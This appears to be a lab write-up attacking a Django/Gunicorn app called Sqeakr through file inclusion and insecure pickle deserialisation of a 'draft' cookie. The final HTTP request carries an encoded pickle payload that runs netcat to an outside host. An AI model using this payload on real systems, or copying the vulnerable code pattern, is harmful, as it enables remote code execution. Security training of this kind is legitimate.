Sqeakr

R3zk0n ยท October 2, 2025

Contents

    AuthToken bypass

    LFI

    /proc/self/cmdline
        /home/student/sqeakr/sqeakrenv/bin/python
        /home/student/sqeakr/sqeakrenv/bin/gunicorn
        sqeakr.wsgi:application
    
    /proc/self/status
        gunicorn
    
    /etc/nginx/nginx.conf
    
    Gunicorn, Flask, Nginx, WSGI application
    Use LFI find file related to flask source code location
    Use source code to find pickle exploit
    
    Gunicorn
    #!/home/student/sqeakr/sqeakrenv/bin/python
    # -*- coding: utf-8 -*-
    import re
    import sys
    from gunicorn.app.wsgiapp import run
    if __name__ == '__main__':
        sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
        sys.exit(run())
    
    drwxr-xr-x 10 student student 4096 May  8  2020 .
    drwxr-xr-x  5 student student 4096 May  8  2020 ..
    drwxr-xr-x  6 student student 4096 May  7  2020 api
    drwxr-xr-x  3 student student 4096 Apr 15  2020 auth
    drwxr-xr-x 10 student student 4096 Apr 24  2020 avatars
    drwxr-xr-x  4 student student 4096 Apr 28  2020 main
    -rwxr-xr-x  1 student student  773 Apr 14  2020 manage.py
    -rw-r--r--  1 student student  128 May  5  2020 requirements.txt
    drwxr-xr-x  3 student student 4096 May  8  2020 sqeakr
    drwxr-xr-x  4 student student 4096 May  8  2020 sqeakrenv
    drwxr-xr-x  6 student student 4096 May  8  2020 static
    drwxr-xr-x  3 student student 4096 May  8  2020 templates
    pwd
    /home/student/sqeakr
    cd api
    ls
    admin.py
    apps.py
    constants.py
    fixtures
    forms.py
    __init__.py
    migrations
    models.py
    __pycache__
    tests.py
    tokens.py
    urls.py
    views
    

    Vulnerable Pickle Code

    @csrf_exempt
    def draft(request):
        """
        Endpoint for saving a draft sqeak. Sqeak is saved as a cookie.
        """
        if 'authtoken' in request.headers:
            _token = request.headers['authtoken']
            _profile = Tokens.validate_token(_token)
            # make sure we have a real user and not a guest
            if None != _profile:
                if request.method == 'GET':
                    # convert draft pickle and return back the contents
                    _c = request.COOKIES.get('draft')
                    if None == _c:
                        return JsonResponse({})
                    try:
                        _txt = pickle.loads(base64.b64decode(_c))
                        return JsonResponse({'status':'ok','sqeak':_txt})
                    except:
                        return JsonResponse({})
                elif request.method == 'POST':
                    # create draft pickle and return it 
                    _txt = ''
                    # get the necessary data
                    if request.content_type == 'application/json':
                        data = json.loads(request.body.decode('utf-8'))
                        if 'sqeak' in data.keys():
                            _txt = data['sqeak'].strip()
                        else:
                            _txt = request.POST.get('sqeak').strip()
                        if '' != _txt:
                            _p = pickle.dumps({'draft':_txt.strip()})
                            _c = base64.b64encode(_p).decode('utf-8')
                            _res = JsonResponse(status=201, data={'status':'ok','message':'Draft sqeak created'})
                            _res.set_cookie('draft', _c, httponly=True)
                        return _res 
                    else:
                        return JsonResponse(status=405, data={'status':'error','message':METHOD})
                else:
                    return JsonResponse(status=401, data={'status':'error','message':MISSING_AUTH})
        else:
            return JsonResponse(status=401, data={'status':'error','message':MISSING_AUTH})
    

    Pickle Deserialisation

    GET /api/draft HTTP/1.1
    Host: 192.168.121.247
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    authtoken: gAN9cQAoWAQAAABhdXRocQFLAFgGAAAAdXNlcmlkcQJYJAAAAGIxYzdmMDk0LWNiZDQtNDRhMC05MWMzLWUyM2RjYjg5NjJmMXEDdS4=
    Connection: close
    Referer: http://192.168.121.247/feed
    Cookie: draft=Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtbnYgMTkyLjE2OC4xMTkuMTIxIDQ0NDQnCnAyCnRScDMKLg==
    

    Twitter, Facebook